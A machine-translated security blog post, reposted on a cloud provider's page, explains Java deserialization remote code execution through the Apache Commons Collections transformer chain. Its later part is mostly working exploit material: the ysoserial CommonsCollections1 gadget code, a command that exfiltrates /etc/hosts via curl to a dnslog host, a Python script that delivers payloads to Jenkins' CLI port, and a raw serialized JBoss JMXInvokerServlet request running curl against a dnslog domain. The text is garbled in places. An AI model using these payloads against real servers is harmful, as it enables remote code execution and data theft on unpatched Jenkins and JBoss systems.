Java deserialization, object injection can cause code execution vulnerability

Source: Internet
Author: User
Tags map class

Java deserialization, object injection can cause code execution vulnerability

0x01 Principle

Java deserialization results in the same principle as PHP deserialization, because user input can control the input objects. If the server program does not verify the user-controllable serialization code but is used for deserialization, and the program runs some dangerous logic (such as eval and login verification ), this will trigger unexpected vulnerabilities. In fact, this is not a new issue. For details about the deserialization vulnerability in Java, refer to the Vulnerability.

This time, we will mainly discuss whether deserialization can achieve Remote Code Execution (RCE) in special environments ).

The exp is given in reference to article 3, and there is a lot of discussion on the zone. In combination with the jar file on github, generate a serialized string and send it to the vulnerability site for triggering. Exploitation is not the focus of this article.

The problem starts with the transformer of the common-collections tool. These transforms are mainly used to convert the Map key values.


Among them, foreign researchers found that the transform Method in InvokerTransformer class allows a reflection to execute a method of the parameter object and return the execution result.

Let's write a code to test it:

@SuppressWarnings({"rawtypes", "unchecked"})public class VulTest {    public static void main(String[] args) {        Transformer transform = new InvokerTransformer(                "append",                new Class[]{String.class},                new Object[]{"exploitcat?"});        Object newObject = transform.transform(new StringBuffer("your name is ")) ;        System.out.println(newObject);       }


} An InvokerTransformer object is created and its transform is called. The parameter is a StringBuilder object. After execution, a string is output:
Your name is exploitcat?

We can see that through reflection in the transform method, we successfully call the append method in StringBuilder and return the result, although the process is somewhat tortuous. In this way, we are one step closer to RCE. Who will call the transform Method of these transformer objects?

The transform method is called a class called TransformedMap. This class can be used as a packaging class of the native Map class (through the TransformedMap. decorate method ). Go to this class to find out:


The decorate method is used to create a TransformedMap object. In the code, we can clearly find out how the transform method is called.

And the checkSetValue executed when the entry object calls setValue:

To figure out what happened during setValue, let's look at the Code:

public class TransformTest {    public static void main(String[] args) {        Transformer[] transformers = new Transformer[]{            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},                    new Object[]{"getRuntime", new Class[0]}),            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},                    new Object[]{null, new Object[0]}),            new InvokerTransformer("exec", new Class[]{String.class},                    new Object[]{"calc"})        };        Transformer chain = new ChainedTransformer(transformers) ;        Map innerMap = new HashMap() ;        innerMap.put("name", "hello") ;        Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;         Map.Entry elEntry = (Entry) outerMap.entrySet().iterator().next() ;        elEntry.setValue("hello") ;    }}
In the code, we will distribute the multi-line code to each transformer and use the InvokeTransformer class to execute our method. Then, use TransformedMap to execute the transfom method to trigger the code.

The native Map here is used for packaging by TransformedMap, and the map entry object calls the setValue method. Execute the above Code in the java environment, and a calculator will pop up:

So far, we have found some RCE creation conditions:
(1) The InvokeTransformer object is used and the code is executed in the transform method; (2) the transform method is triggered by executing the setValue method using TransformedMap.
For an "unreasonable" RCE, it is clear that another useful class needs to satisfy the above two points at the same time and be called in readObject. The readObject method is the first method called in java's serialized object (implementing the Serializable interface.
0x02 usage
Here, the class used for code execution is AnnotationInvocationHandler. Let's take a look at the logic in the readObject method:

We can see that the defaultReadObject is called to obtain the class attribute type and memberValues and find the definition. The two things are as follows:

In the readObject method, the method of our object is triggered before the type check. Get the entry and setValue from the memberValues parameter. In this way, the code is executed even though there may be type errors. In line with our previous RCE ideas. So it is easy to understand exp. Exp returns a serialized handler object that contains an array of transformer objects to load the code to be executed.
The method for creating handler is as follows:

Using Reflection, we can get the AnnotationInvocationHandler constructor and pass in our map. getInstance returns a handler object, which completes everything required, find a place to use controllable serialization and send this serialization handler to execute our code.
I still paste exp here. This code is used to construct our handler object:

First, exp constructs a transformer object array and uses LazyMap for packaging. After packaging, it is loaded into a handler object and the handler is returned.
0x00 demo
Someone has written a payload generator that executes the command. Java reflection calls runtime.getruntime.exe c to execute the command. It should also be able to write files (unverified ).
@Dependencies({"commons-collections:commons-collections:3.1"})public class CommonsCollections1 extends PayloadRunner implements ObjectPayload {public InvocationHandler getObject(final String command) throws Exception {final String[] execArgs = new String[] { command };// inert chain for setupfinal Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });// real chain for after setupfinal Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, execArgs),//Runtime.getRuntime().exec();new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler;}public static void main(final String[] args) throws Exception {PayloadRunner.run(CommonsCollections1.class, args);}}

Payload

Java-jar ysoserial. jar CommonsCollections1 "curl-d @/etc/hosts abc.0day5.dnslog.info: 80">/tmp/payload is actually only tested in two environments: jboss and jenkins are the code in JavaUnserializeExploits first
#!/usr/bin/python #usage: ./jenkins.py host port /path/to/payloadimport socketimport sysimport requestsimport base64 host = sys.argv[1]port = sys.argv[2] #Query Jenkins over HTTP to find what port the CLI listener is onr = requests.get('http://'+host+':'+port)cli_port = int(r.headers['X-Jenkins-CLI-Port']) #Open a socket to the CLI portsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server_address = (host, cli_port)#print 'connecting to %s port %s' % server_addresssock.connect(server_address) # Send headersheaders='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'#print 'sending "%s"' % headerssock.send(headers) data = sock.recv(1024)#print >>sys.stderr, 'received "%s"' % data data = sock.recv(1024)#print >>sys.stderr, 'received "%s"' % data payloadObj = open(sys.argv[3],'rb').read()payload_b64 = base64.b64encode(payloadObj) #payload1 = base64.b64encode(payload)#print payload1#payload2 = base64.b64decode(payload)#print 'sending payload...'

 
Sock. send (payload) to execute our command

Python jenkins. py ci.0day5.com 80/tmp/payload can be viewed in cloudeye.

2. The same is true for jboss, Which is payload. Then directly POST payoad.

POST /invoker/JMXInvokerServlet HTTP/1.1Host: 246c1c5fd78a8ce95.jie.sangebaimao.comContent-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValueContent-Length: 1419 ¬ísr2sun.reflect.annotation.AnnotationInvocationHandlerUÊõË~¥L memberValuestLjava/util/Map;LtypetLjava/lang/Class;xps}java.util.Mapxrjava.lang.reflect.Proxyá'Ú ÌCËLht%Ljava/lang/reflect/InvocationHandler;xpsq~sr*org.apache.commons.collections.map.LazyMapn唂žy”Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.ChainedTransformer0Ç—ì(z—[iTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;½V*ñØ4™xpsr;org.apache.commons.collections.functors.ConstantTransformerXvA±”L iConstanttLjava/lang/Object;xpvrjava.lang.Runtimexpsr:org.apache.commons.collections.functors.InvokerTransformer‡èÿk{|Î8[iArgst[Ljava/lang/Object;L iMethodNametLjava/lang/String;[ iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;ÎXŸs)lxptgetRuntimeur[Ljava.lang.Class;«×®ËÍZ™xpt getMethoduq~vrjava.lang.String ð¤8z;³Bxpvq~sq~uq~puq~tinvokeuq~vrjava.lang.Objectxpvq~sq~ur[Ljava.lang.String;­ÒVçé{Gxptcurl abc.333d61.dnslog.infotexecuq~q~#sq~srjava.lang.Integerâ ¤÷‡8Ivaluexrjava.lang.Number†¬• ”à‹xpsrjava.util.HashMapÚÁÃ`ÑFloadFactorI thresholdxp?@wxxvrjava.lang.Overridexpq~:



You can also use curl to submit
Shell

Curl -- header 'content-Type: application/x-java-serialized-object; class = org. jboss. invocation. Export alledvalue '-- data-binary' @/tmp/payload' http://246c1c5fd78a8ce95.jie.sangebaimao.com/invoker/JMXInvokerServlet

Others are not tested

PS ~ I still know a lot about JAVA. After all, I still have six limitations.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.